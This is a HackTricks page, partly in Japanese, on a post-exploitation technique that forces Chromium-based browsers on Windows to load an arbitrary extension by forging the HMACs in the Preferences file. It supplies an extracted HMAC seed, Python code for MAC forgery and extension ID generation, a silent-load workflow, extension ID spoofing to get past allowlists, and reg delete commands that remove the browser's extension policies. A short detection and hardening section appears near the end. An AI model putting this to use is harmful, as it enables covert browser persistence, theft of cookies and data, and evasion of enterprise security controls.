Forced Extension Load & Preferences MAC Forgery (Windows)

Reading time: 13 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

ユーザーの Preferences/Secure Preferences を編集し、変更したノードに対して有効な HMAC を偽造することで、Windows 上の Chromium ベースブラウザに任意の拡張機能を強制的に読み込ませるステルスな post-exploitation 手法です。Chrome/Chromium、Edge、Brave に対して有効で、公開時点では Chromium 130 から 139 に適用されることが確認されています。被害者プロファイルに対する単純なディスク書き込みプリミティブがあれば、コマンドラインフラグやユーザーのプロンプトなしで完全権限の拡張機能を永続化できます。

重要な考え方: Chromium はユーザーごとの拡張機能の状態を JSON の preferences ファイルに格納し、HMAC-SHA256 で保護します。ブラウザに組み込まれた seed を使って有効な MAC を計算し、それらを注入したノードの隣に書き込めば、ブラウザはその拡張エントリを受け入れて有効化します。

拡張機能の状態が格納される場所 (Windows)

  • ドメイン非参加の Chrome プロファイル:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (root "super_mac" を含む).
  • ドメイン参加の Chrome プロファイル:
  • %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
  • Chromium が使用する主なノード:
  • extensions.settings.<extension_id> → 拡張エントリの埋め込み manifest/メタデータ
  • protection.macs.extensions.settings.<extension_id> → その JSON ブロブの HMAC
  • Chromium ≥134: extensions.ui.developer_mode (boolean) が存在し、unpacked extensions を有効化するために MAC 署名されている必要がある

簡略化したスキーマ(例示):

json
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}

注意:

  • Edge/Brave は同様の構造を維持します。保護用の seed 値は異なる場合があります(Edge/Brave の一部ビルドでは null/other seed が使われているのが観察されています)。

Extension IDs: path vs key and making them deterministic

Chromium は拡張機能の ID を次のように導出します:

  • パック済み/署名済み拡張機能: ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → take first 32 hex chars → map 0–f to a–p
  • アンパック(manifest に key がない場合): ID = SHA‑256 over the absolute installation path bytes → map 0–f to a–p

複数ホスト間で安定した ID を保持するには、manifest.json の "key" に固定の base64 DER 公開鍵を埋め込んでください。ID はインストールパスではなくこの "key" から導出されます。

Helper to generate a deterministic ID and a key pair:

python
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)

def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64

print(generate_extension_keys())

生成した公開鍵を manifest.json に追加して ID を固定してください:

json
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}

Preferences の整合性 MACs を偽造する (core bypass)

Chromium は各ノードの "path" + シリアライズされた JSON 値に対して HMAC‑SHA256 を用いて preferences を保護しています。HMAC の seed はブラウザの resources.pak に埋め込まれており、Chromium 139 まで有効でした。

GRIT pak_util を使って seed を抽出し、seed container を特定します(テストしたビルドでは file id 146):

bash
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8

MACs (uppercase hex) を次のように計算する:

text
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))

devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))

最小限の Python 例:

python
import json, hmac, hashlib

def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()

# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")

Write the values under:

  • protection.macs.extensions.settings.<crx_id> = ext_mac
  • protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)

Browser differences: on Microsoft Edge and Brave the seed may be null/different. The HMAC structure remains the same; adjust the seed accordingly.

Implementation tips

  • Use exactly the same JSON serialization Chromium uses when computing MACs (compact JSON without whitespace is safe in practice; sorting keys may help avoid ordering issues).
  • Ensure extensions.ui.developer_mode exists and is signed on Chromium ≥134, or your unpacked entry won’t activate.

End‑to‑end silent load flow (Windows)

  1. Generate a deterministic ID and embed "key" in manifest.json; prepare an unpacked MV3 extension with desired permissions (service worker/content scripts)
    決定論的な ID を生成し、manifest.json に "key" を埋め込みます;必要な権限(service worker/content scripts)を持つ unpacked MV3 extension を準備します。

  2. Create extensions.settings. by embedding the manifest and minimal install metadata required by Chromium (state, path for unpacked, etc.)
    manifest と Chromium が要求する最小限のインストールメタデータ(state、unpacked の path など)を埋め込んで extensions.settings. を作成します。

  3. Extract the HMAC seed from resources.pak (file 146) and compute two MACs: one for the settings node and one for extensions.ui.developer_mode (Chromium ≥134)
    resources.pak(file 146)から HMAC seed を抽出し、2 つの MAC を計算します:settings ノード用と extensions.ui.developer_mode 用(Chromium ≥134)。

  4. Write the crafted nodes and MACs into the target profile’s Preferences/Secure Preferences; next launch will auto‑activate your extension with full declared privileges
    作成したノードと MAC をターゲットプロファイルの Preferences/Secure Preferences に書き込みます;次回起動時に拡張は宣言された権限で自動的に有効化されます。

Bypassing enterprise controls

  • Whitelisted extension hash spoofing (ID spoofing)
  1. Install an allowed Web Store extension and note its ID
    許可された Web Store extension をインストールし、その ID を確認します。
  2. Obtain its public key (e.g., via chrome.runtime.getManifest().key in the background/service worker or by fetching/parsing its .crx)
    公開鍵を取得します(例:background/service worker 内で chrome.runtime.getManifest().key を使う、または .crx を取得して解析するなど)。
  3. Set that key as manifest.key in your modified extension to reproduce the same ID
    修正した extension の manifest.key にその鍵を設定し、同じ ID を再現します。
  4. Register the entry in Preferences and sign the MACs → ExtensionInstallAllowlist checks that match on ID only are bypassed
    Preferences にエントリを登録し MAC に署名します → ID のみでマッチする ExtensionInstallAllowlist チェックを回避できます。
  • Extension stomping (ID collision precedence)

  • If a local unpacked extension shares an ID with an installed Web Store extension, Chromium prefers the unpacked one. This effectively replaces the legitimate extension in chrome://extensions while preserving the trusted ID. Verified on Chrome and Edge (e.g., Adobe PDF)
    ローカルの unpacked extension がインストール済みの Web Store extension と同じ ID を持つ場合、Chromium は unpacked の方を優先します。これにより信頼された ID を保持したまま正当な拡張が chrome://extensions 上で置き換えられます。Chrome と Edge で検証済み(例:Adobe PDF)。

  • Neutralizing GPO via HKCU (requires admin)

  • Chrome/Edge policies live under HKCU\Software\Policies*
    Chrome/Edge のポリシーは HKCU\Software\Policies* 下にあります。

  • With admin rights, delete/modify policy keys before writing your entries to avoid blocks:
    管理者権限がある場合、エントリを書き込む前にポリシーキーを削除/変更してブロックを回避してください:

powershell
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f

ノイジーなフォールバック: コマンドライン読み込み

Chromium ≥137 以降では、--load-extension は次の引数も渡す必要があります:

text
--disable-features=DisableLoadExtensionCommandLineSwitch

この手法は広く知られており監視対象になっている(例: EDR/DFIR による監視、Chromeloader のようなコモディティマルウェアでも使用されている)。Preference MAC forging の方がよりステルス性が高い。

Related flags and more cross‑platform tricks are discussed here:

macOS Chromium Injection

Operational impact

一旦承認されると、拡張機能は宣言された権限で動作し、DOM へのアクセス、request interception/redirects、cookie/storage access、および screenshot capture を可能にする — 実質的にはブラウザ内でのコード実行とユーザープロファイルに対する永続化を実現する。SMB やその他のチャネル経由でのリモート展開は、Preferences を介したデータ駆動の有効化により容易である。

Detection and hardening

  • Preferences/Secure Preferences に書き込む非‑Chromium プロセスを監視する。特に extensions.settings の下に新しいノードが作成され、protection.macs エントリと組み合わされている場合に注意する
  • extensions.ui.developer_mode の予期しない切り替えや、HMAC‑valid だが承認されていない extension エントリについてアラートを出す
  • HKCU/HKLM Software\Policies の改竄を監査する;device management/Chrome Browser Cloud Management を通じてポリシーを強制する
  • extension ID のみで一致させる allowlists よりも、verified publishers による store からの forced‑install を優先する

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする